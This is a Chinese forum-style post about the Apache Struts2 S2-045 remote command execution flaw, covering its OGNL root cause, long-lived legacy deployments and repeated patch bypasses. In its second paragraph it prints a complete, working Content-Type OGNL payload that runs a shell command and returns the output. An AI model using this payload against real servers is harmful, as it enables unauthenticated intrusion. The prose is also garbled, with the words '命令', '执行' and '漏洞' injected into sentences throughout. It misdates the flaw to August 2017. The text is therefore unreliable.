游客发表

struts2命令执行漏洞

发帖时间:2026-10-17 04:49:36

2017年8月,命令Apache Struts2爆出S2-045漏洞,执行黑客只需构造一个恶意Content-Type头,漏洞就能远程执行任意命令。命令那几天,执行我所在的漏洞安全群里炸了锅——有人用PoC脚本扫全网,发现大量政府网站、命令银行系统、执行电商平台的漏洞中招报告像雪片一样贴出来。一个漏洞,命令让整个互联网的执行防御体系显得像纸糊的。 这个漏洞的漏洞根源,是命令Struts2的Jakarta Multipart解析器在处理上传文件时,错误地将用户可控的执行Content-Type值拼接进了错误信息模板,而这个模板最终被当作OGNL表达式执行。漏洞OGNL是Struts2的核心表达式语言,本意是让开发者方便地访问对象属性,结果成了攻击者的万能钥匙。你发一个`Content-Type: %{ (#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{ 'cmd.exe','/c',#cmd}:{ '/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}`,服务器就把命令执行结果吐回给你。整个过程不需要任何账号权限,只要目标能访问到Struts2的接口。 为什么这玩意儿能活这么多年?Struts2在2007年前后是Java Web开发的绝对霸主,当时SSH(Struts+Spring+Hibernate)组合是教科书标配。大量老系统从那个时代沉淀下来,维护它们的程序员可能早换了三拨,文档丢了,代码没人敢动。我见过一个国企的内部OA,用的还是Struts2 2.3.20版本——这个版本在2016年就被曝出过RCE漏洞,但IT部门怕升级引发连锁故障,硬是拖到S2-045爆发才被迫打补丁。结果打补丁那天,系统直接宕机,因为老代码里用了被废弃的API。 更讽刺的是,S2-045的修复方式只是升级到2.3.32或2.5.10.1,但Apache官方在发布公告时,故意没提漏洞细节。可安全研究圈早就逆向出了利用代码,从漏洞公开到第一个公开PoC出现,间隔不到24小时。这种“官方捂盖子,民间砸场子”的戏码,在Struts2身上反复上演:S2-046、S2-048、S2-057……每个编号背后都是一场攻防拉锯。有安全公司统计过,Struts2历史漏洞中超过60%是RCE级别,这个比例在主流框架里高得离谱。 我认识一个白帽子,专门拿Struts2练手。他说这框架的漏洞挖掘已经形成套路了——先看官方修复了哪个类,再对比旧版本找绕过点。因为Struts2的OGNL拦截器黑名单永远在打地鼠:你禁用`Runtime`类,我就用`ProcessBuilder`;你封了`@java.lang.Runtime@getRuntime`,我改写成反射调用。这种猫鼠游戏持续了十年,直到现在,你在GitHub上搜“struts2 exploit”,还能找到2023年更新的利用工具。 说到底,Struts2的悲剧不是技术问题,是生态问题。框架本身设计复杂,配置项多到能写本书,但默认安全配置却弱得离谱。更关键的是,大量企业把“能跑就行”当运维准则,漏洞修补的优先级永远低于业务迭代。S2-045爆发那年,我帮朋友的公司排查资产,发现他们一个内部系统用的还是2012年的Struts2版本,问负责人为什么不升级,对方回答:“这系统就内部用,黑客进不来。”——结果那系统连着公网,只是没人知道而已。 现在Struts2的市场份额早被Spring MVC抢走大半,但那些遗留系统不会自动消失。它们像埋在数字地基里的老地雷,说不定哪天又被踩响。每次看到Struts2新漏洞的新闻,我脑子里就浮现那个国企OA的画面:灰扑扑的界面,登录框上方一行小字“建议使用IE8浏览器访问”,背后是一整套摇摇欲坠的旧时代架构。安全从来不是一次升级能解决的,它得靠持续投入、敬畏风险、承认自己可能被攻击——这三件事,很多公司一件都没做到。

    热门排行

    友情链接